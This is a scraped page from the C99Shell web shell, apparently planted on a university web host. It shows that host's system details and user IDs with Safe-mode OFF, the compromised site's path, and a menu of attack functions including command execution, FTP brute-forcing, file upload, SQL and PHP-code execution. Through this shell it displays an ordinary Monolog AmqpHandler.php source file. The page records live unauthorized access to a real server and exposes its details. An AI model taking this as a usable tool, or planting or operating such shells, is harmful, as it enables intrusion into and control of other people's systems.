!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/monolog/monolog/src/Monolog/Handler/   drwxr-xr-x
Free 116.83 GB of 200.55 GB (58.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AmqpHandler.php (3.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use 
Monolog\Logger;
use 
Monolog\Formatter\JsonFormatter;
use 
PhpAmqpLib\Message\AMQPMessage;
use 
PhpAmqpLib\Channel\AMQPChannel;
use 
AMQPExchange;

class 
AmqpHandler extends AbstractProcessingHandler
{
    
/**
     * @var AMQPExchange|AMQPChannel $exchange
     */
    
protected $exchange;

    
/**
     * @var string
     */
    
protected $exchangeName;

    
/**
     * @param AMQPExchange|AMQPChannel $exchange     AMQPExchange (php AMQP ext) or PHP AMQP lib channel, ready for use
     * @param string                   $exchangeName
     * @param int                      $level
     * @param bool                     $bubble       Whether the messages that are handled can bubble up the stack or not
     */
    
public function __construct($exchange$exchangeName 'log'$level Logger::DEBUG$bubble true)
    {
        if (
$exchange instanceof AMQPExchange) {
            
$exchange->setName($exchangeName);
        } elseif (
$exchange instanceof AMQPChannel) {
            
$this->exchangeName $exchangeName;
        } else {
            throw new \
InvalidArgumentException('PhpAmqpLib\Channel\AMQPChannel or AMQPExchange instance required');
        }
        
$this->exchange $exchange;

        
parent::__construct($level$bubble);
    }

    
/**
     * {@inheritDoc}
     */
    
protected function write(array $record)
    {
        
$data $record["formatted"];
        
$routingKey $this->getRoutingKey($record);

        if (
$this->exchange instanceof AMQPExchange) {
            
$this->exchange->publish(
                
$data,
                
$routingKey,
                
0,
                array(
                    
'delivery_mode' => 2,
                    
'content_type' => 'application/json',
                )
            );
        } else {
            
$this->exchange->basic_publish(
                
$this->createAmqpMessage($data),
                
$this->exchangeName,
                
$routingKey
            
);
        }
    }

    
/**
     * {@inheritDoc}
     */
    
public function handleBatch(array $records)
    {
        if (
$this->exchange instanceof AMQPExchange) {
            
parent::handleBatch($records);

            return;
        }

        foreach (
$records as $record) {
            if (!
$this->isHandling($record)) {
                continue;
            }

            
$record $this->processRecord($record);
            
$data $this->getFormatter()->format($record);

            
$this->exchange->batch_basic_publish(
                
$this->createAmqpMessage($data),
                
$this->exchangeName,
                
$this->getRoutingKey($record)
            );
        }

        
$this->exchange->publish_batch();
    }

    
/**
     * Gets the routing key for the AMQP exchange
     *
     * @param  array  $record
     * @return string
     */
    
private function getRoutingKey(array $record)
    {
        
$routingKey sprintf(
            
'%s.%s',
            
// TODO 2.0 remove substr call
            
substr($record['level_name'], 04),
            
$record['channel']
        );

        return 
strtolower($routingKey);
    }

    
/**
     * @param  string      $data
     * @return AMQPMessage
     */
    
private function createAmqpMessage($data)
    {
        return new 
AMQPMessage(
            (string) 
$data,
            array(
                
'delivery_mode' => 2,
                
'content_type' => 'application/json',
            )
        );
    }

    
/**
     * {@inheritDoc}
     */
    
protected function getDefaultFormatter()
    {
        return new 
JsonFormatter(JsonFormatter::BATCH_MODE_JSONfalse);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0151 ]--